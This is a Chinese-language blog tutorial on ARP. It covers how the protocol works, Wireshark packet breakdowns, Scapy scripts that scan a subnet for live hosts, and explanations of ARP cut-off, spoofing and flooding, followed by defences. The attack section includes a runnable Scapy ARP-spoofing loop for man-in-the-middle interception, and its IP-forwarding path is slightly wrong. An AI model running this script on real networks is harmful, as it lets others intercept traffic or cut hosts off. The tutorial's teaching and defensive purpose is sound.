mac地址扫描源码_ARP-基础-扫描-攻击-防范!

协议介绍

ARP(Address Resolution Protocol)地址解析协议,将已知IP地址转换为MAC地址,由RFC820定义

ARP协议在OSI模型中处于数据链路层,在TCP/IP模型中处于网络层

ARP协议与数据链路层关联网络层

在Windows操作系统中可以在cmd中使用“arp -a”查看本地arp缓存表(120秒过期)

4daa0cdc217e4bd4ec98deeacffc4f27.png

191db8ad5d070700d9efbea0456c017a.png

Python资源共享群:626017123

2

步骤概述

73a0a06848539de5072c3ba6a7845617.png
  • 当主机A要与主机B通信时,会先检查自身路由表是否能够到达,然后在自己的本地ARP缓存表中检查主机B的MAC地址
  • 如果主机A在ARP缓存表中没有找到映射,会广播发送ARP请求。每台主机接收到ARP请求后,会检查是否与自己的IP地址匹配。如果主机发现请求的IP地址与自己的IP地址不匹配,将会丢弃ARP请求
  • 主机B确定ARP请求中的IP地址与自己的IP地址相匹配,则将主机A的IP地址和MAC地址映射添加到本地ARP缓存中,并将包含其MAC地址的ARP回复消息以单播的方式发送回主机A
  • 当主机A收到主机B发送的ARP回复消息时,会用主机B的IP和MAC地址映射更新ARP缓存。由于ARP缓存是有生存期的,当生存期结束,将再次重复上面的过程。

2

数据包分析

使用wireshark抓取ARP数据包

c30a2156caa3d916ba578812e4d8ba81.png

在Info可以看到,ARP的一般请求和回复方式

  • 请求方式 Who has 查询IP Tell 自身IP
  • 回复方式 查询IP is at 查询MAC

请求包特征

Ethernet II, Src: IntelCor_a7:1e:26 (60:f6:77:a7:1e:26), Dst: Broadcast (ff:ff:ff:ff:ff:ff) 数据链路层
    Destination: Broadcast (ff:ff:ff:ff:ff:ff) 广播发送
    Source: IntelCor_a7:1e:26 (60:f6:77:a7:1e:26) 发送方MAC地址
    Type: ARP (0x0806) 协议类型
Address Resolution Protocol (request) 网络层 ARP请求数据包
    Hardware type: Ethernet (1) 硬件类型
    Protocol type: IPv4 (0x0800) 协议类型
    Hardware size: 6 硬件长度
    Protocol size: 4 协议长度
    Opcode: request (1) 操作码 1表示请求数据包
    Sender MAC address: IntelCor_a7:1e:26 (60:f6:77:a7:1e:26) 发送方MAC地址
    Sender IP address: 192.168.100.104 发送方IP地址
    Target MAC address: 00:00:00_00:00:00 (00:00:00:00:00:00) 接收方MAC地址 由于不知道接收方MAC地址,所以为00:00:00:00:00:00
    Target IP address: 192.168.100.105 接收方IP地址

响应包特征

Ethernet II, Src: XiaomiCo_6a:e3:a4 (64:cc:2e:6a:e3:a4), Dst: IntelCor_a7:1e:26 (60:f6:77:a7:1e:26) 数据链路层
    Destination: IntelCor_a7:1e:26 (60:f6:77:a7:1e:26) 单播发送
    Source: XiaomiCo_6a:e3:a4 (64:cc:2e:6a:e3:a4) 发送方MAC地址
    Type: ARP (0x0806) 协议类型
Address Resolution Protocol (reply) 网络层 ARP回复数据包
    Hardware type: Ethernet (1) 硬件类型
    Protocol type: IPv4 (0x0800) 协议类型
    Hardware size: 6 硬件长度
    Protocol size: 4 协议长度
    Opcode: reply (2) 操作码 2表示回复数据包
    Sender MAC address: XiaomiCo_6a:e3:a4 (64:cc:2e:6a:e3:a4) 发送方MAC地址
    Sender IP address: 192.168.100.105 发送方IP地址
    Target MAC address: IntelCor_a7:1e:26 (60:f6:77:a7:1e:26) 接收方MAC地址
    Target IP address: 192.168.100.104 接收方IP地址

免费ARP特征

在网络中IP地址是可以改变的,而MAC地址是不会改变的。

当IP地址改变时,缓存中的映射就不再有效。

为了防止由于映射错误而导致的通信错误,免费ARP将被发送,强制所有收到它的设备使用新的映射

免费ARP会在一下状态进行发送:

  • 系统引导期间
  • 接口进行配置
  • IP进行变更

数据包特征:

Ethernet II, Src: IntelCor_a7:1e:26 (60:f6:77:a7:1e:26), Dst: Broadcast (ff:ff:ff:ff:ff:ff) 数据链路层 Destination: Broadcast (ff:ff:ff:ff:ff:ff) 广播发送 Source: IntelCor_a7:1e:26 (60:f6:77:a7:1e:26) 发送方MAC地址 Type: ARP (0x0806) 协议类型 Address Resolution Protocol (request/gratuitous ARP) 免费ARP请求包 Hardware type: Ethernet (1) 硬件类型 Protocol type: IPv4 (0x0800) 协议类型 Hardware size: 6 硬件长度 Protocol size: 4 协议长度 Opcode: request (1) 操作码 1表示请求数据包 [Is gratuitous: True] 免费ARP数据包 Sender MAC address: IntelCor_a7:1e:26 (60:f6:77:a7:1e:26) 发送方MAC地址 Sender IP address: 192.168.100.250 发送方IP地址 Target MAC address: 00:00:00_00:00:00 (00:00:00:00:00:00) 请求方MAC地址 Target IP address: 192.168.100.250 请求方MAC地址 可以看到发送方IP地址和请求方IP地址都为新地址,其他主机收到这种数据包会更新自身的ARP缓存表。

由于是源主机未经请求发出的数据包,而其他主机接收到后更新了ARP缓存表,所以被称为免费ARP

3

python实现

这里实现的Python版本为3.6.4

Scapy

Scapy是一个强大的嗅探库,支持Python2和Python3。

Scapy有1.2和2.x两种版本,前者由于依赖unix系统的libpcap、libdnet等库已经弃用了。后者在Linux、BSD、Mac上使用 pip install scapy 就能安装Scapy。Windows系统较麻烦,要安装最新版的Npcap或Winpcap再使用 pip install scapy 安装。

安装完成后载入库不报错就证明安装成功

  • v1.2版本使用 from scapy import *
  • v2.x版本使用 from scapy.all import *

代码实现

检测单个IP是否存活

from scapy.all import * def scan(dip): res = srp1(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=dip),timeout=2) if res: print(res[1].psrc,res[1].hwsrc) if __name__ == '__main__': scan('192.168.100.102')

执行结果

Begin emission:
.Finished sending 1 packets.
.*
Received 3 packets, got 1 answers, remaining 0 packets
192.168.100.102 60:6c:66:1b:b7:aa
[Finished in 4.9s]

这里只是检测单个IP是否存活,使用循环将其改为网段检测。

而且除了扫描到的信息,还输出了scapy的发包信息,可以使用 verbose=False 关闭信息

循环检测网段存活

from scapy.all import * def scan(dip): res = srp1(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=dip),timeout=2 ,verbose=False) if res: print(res[1].psrc,res[1].hwsrc) if __name__ == '__main__': for i in range(1,255): ip = '192.168.100.'+str(i) scan(ip)

执行结果

192.168.100.1 8c:f2:28:e6:2f:e2 192.168.100.102 60:6c:66:1b:b7:aa [Finished in 511.2s] 虽然已经可以扫描网段中存活的主机,但是一个C段地址扫描了八分钟是很难以接受的。尝试使用多线程执行

多线程检测网段存活

import threading from scapy.all import * def scan(dip): res = srp1(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=dip),timeout=2 ,verbose=False) if res: print(res[1].psrc,res[1].hwsrc) if __name__ == '__main__': for i in range(1,255): ip = '192.168.100.'+str(i) t = threading.Thread(target=scan,args=(ip,)) t.start() ``` **执行结果** 192.168.100.1 8c:f2:28:e6:2f:e2 192.168.100.103 ec:d0:9f:9b:b5:3d 192.168.100.102 60:6c:66:1b:b7:aa [Finished in 20.6s] 虽然速度相比之前有很大的提升,但是还是有点不尽人意。而且在扫描变长网段需要更改代码。 在代码根本上,是每次都调用scan()函数,传入参数进行扫描。 可以使用srp()代替srp1()进行扫描 srp()和srp1()都是在二层发送和接受数据包,但srp1()只接受第一个回复,srp()可以接受所有回复 ##### Scapy检测网段存活 ##### ```python from scapy.all import Ether,ARP,srp IpScan = '192.168.100.1/24' ans,unans = srp(Ether(dst="FF:FF:FF:FF:FF:FF")/ARP(pdst=IpScan), timeout=2, verbose=False) for send, rcv in ans: print(rcv.sprintf("%ARP.psrc% %Ether.src%"))

执行结果

192.168.100.1 8c:f2:28:e6:2f:e2
192.168.100.102 60:6c:66:1b:b7:aa
192.168.100.103 ec:d0:9f:9b:b5:3d
[Finished in 8.5s]

srp()和srp1()在使用上有些区别,需要注意

4

ARP攻击

ARP断网和ARP欺骗

原理

前面已经描述过ARP通信的步骤,这里再大致赘述一遍,假如主机A要访问主机B的Web服务,根据ARP本地缓存表的情况大致为两类:

第一类:主机A本地ARP缓存表存在主机B记录

  • 检查本地ARP缓存表,发现存在主机B记录
  • 向主机B发送TCP数据包

第二类:主机A本地ARP缓存表不存在主机B记录

  • 检查本地ARP缓存表,不存在主机B记录
  • 主机A广播ARP请求包,查询主机B的ARP信息
  • 主机B接收到主机A的ARP请求包,并回复ARP信息
  • 主机A收到回复,写入本地ARP缓存表,并向主机B发送TCP数据包

我们情景模拟一下

+--------+---------------+-------------------+ | 主机 | IP地址 | MAC地址 | +--------+---------------+-------------------+ | 网关 | 192.168.1.1 | AA:AA:AA:AA:AA:AA | | 主机A | 192.168.1.100 | BB:BB:BB:BB:BB:BB | | 主机B | 192.168.1.200 | CC:CC:CC:CC:CC:CC | | 攻击者 | 192.168.1.250 | DD:DD:DD:DD:DD:DD | +--------+---------------+-------------------+

在主机A发送ARP请求之前,主机A的ARP缓存表为:

接口: 192.168.1.100 --- 0xb Internet 地址 物理地址 类型 192.168.1.1 AA:AA:AA:AA:AA:AA 动态

当主机A发送并接受到ARP回复之后,主机A的ARP缓存表为:

接口: 192.168.1.100 --- 0xb Internet 地址 物理地址 类型 192.168.1.1 AA:AA:AA:AA:AA:AA 动态 192.168.1.200 CC:CC:CC:CC:CC:CC 动态

此时主机A向主机B发送TCP通讯,数据包前段内容为:

Ether.Source = BB:BB:BB:BB:BB:BB Ether.Destination = CC:CC:CC:CC:CC:CC IPv4.Source = 192.168.1.100 IPv4.Destination = 192.168.1.200

至此主机A到主机B的正常通信开始

可以发现ARP主机A后续的数据包是发送到由ARP获取到的MAC地址的主机的,但是ARP没有做安全处理,如果我们获取到主机A的ARP请求后,向主机A发送我们的MAC地址,那么主机A后续的数据包就会发到我们这里。

如果此时主机C对主机A持续不断的发送ARP消息包:

192.168.1.200 is at DD:DD:DD:DD:DD:DD

当主机A收到了主机C的恶意ARP消息包,本地ARP缓存表为:

接口: 192.168.1.100 --- 0xb Internet 地址 物理地址 类型 192.168.1.1 AA:AA:AA:AA:AA:AA 动态 192.168.1.200 CC:CC:CC:CC:CC:CC 动态 192.168.1.200 DD:DD:DD:DD:DD:DD 动态

此时主机A向主机C的通讯就可能出现丢包

而当主机A的ARP本地缓存表120秒到期后,本地ARP缓存表为:

接口: 192.168.1.100 --- 0xb Internet 地址 物理地址 类型 192.168.1.1 AA:AA:AA:AA:AA:AA 动态 192.168.1.200 DD:DD:DD:DD:DD:DD 动态

由于主机C持续不断的向主机A发送ARP消息包,而且主机A能够在本地ARP缓存表找到主机B的信息,所以不会发送ARP请求包,此时主机A向主机B的所有数据包都将发送到主机C

也就是说通过ARP能够做的攻击有两种:

第一种:ARP断网 对主机A发送网关的ARP消息包,将网关的IP映射为不存在的MAC地址,主机A发送的所有数据包都不会有响应,达到断网。

第二种:ARP欺骗 对主机A发送网关的ARP消息包,将网关的IP映射为主机C的MAC地址,同时开启路由功能,保证主机A与外网的通讯正常。主机A还是能够访问外网资源,但是中间多了一个主机C,主机C能够获取到主机A发送的所有数据包。

ARP欺骗将拓扑进行了改变:

主机A -> 网关 -> Internet 请求包 主机A <- 网关 <- Internet 回复包 | ARP欺骗后 ↓ 主机A -> 主机C -> 网关 -> Internet 主机A <- 主机C <- 网关 <- Internet

攻击实现

需要开启路由转发功能

Linux: echo 1 > /proc/sys/net/ipv4/forward

Python代码

#!/usr/bin/env python #-*- coding:utf-8 -*- import sys from scapy.all import * def get_parameter(): if len(sys.argv)!=3: print('python setup.py -target_ip -fake_ip ') sys.exit() return (sys.argv[1],sys.argv[2]) def get_mac(ip): res = srp1(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip),timeout=2,verbose=False,iface='eth0') if res: return res[1].hwsrc def send(target_ip,target_mac,fake_ip,fake_mac): res = srp1(Ether(dst=target_mac,src=local_mac)/ARP(pdst=target_ip,hwdst=target_mac,psrc=fake_ip,hwsrc=local_mac,op=2),timeout=2,verbose=False,iface='eth0') if res: return res.show() if __name__ == '__main__': target_ip,fake_ip = get_parameter() target_mac = get_mac(target_ip) fake_mac = get_mac(fake_ip) local_mac = get_if_hwaddr('eth0') while True: send(target_ip,target_mac,fake_ip,local_mac) send(fake_ip,fake_mac,target_ip,local_mac)

使用说明

python setup.py 第一IP 第二IP

ARP泛洪

ARP泛洪相比ARP断网和ARP欺骗,更加偏向于对网关的攻击,这种攻击,通过伪造大量不同的ARP报文在同网段内进行广播,导致网关ARP表被占满,合法用户的ARP信息无法正常学习,导致合法用户无法访问外网。

5

防范手段

针对ARP欺骗的防范手段:

  • ARP表固化,网关在第一次学习到ARP之后,不允许更新此ARP或只能更新部分信息,或者单播发送ARP请求包对此ARP条目进行合法性确认,防止伪造的免费ARP报文修改其他主机ARP表。
  • 免费ARP数据包主动丢弃,直接丢弃免费ARP报文,防止伪造的免费ARP报文修改其他主机ARP表。
  • ARP表严格学习,网关只向特定主机学习ARP,不学习其他主机ARP。不允许攻击者修改已有ARP条目。
  • 发送免费ARP数据包,与主动丢弃不冲突,只发送网关自身的ARP数据包,定时更新用户的ARP条目。
  • 动态ARP监测,将接受到的ARP数据包中的源IP、源MAC、受到ARP报文的接口及VLAN信息和绑定表的信息进行比较,信息匹配则通过,不通过则丢弃,可以有效防范ARP欺骗。

针对ARP泛洪的防范手段:

  • ARP报文限速
  • ARP Miss消息限速
  • 免费ARP数据包主动丢弃
  • ARP表严格学习
  • ARP表严格限制

本文章来自团队成员virgin-forest分享, 仅供白帽子、安全爱好者研究学习,对于用于非法途径的行为,发布者及作者不承担任何责任。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值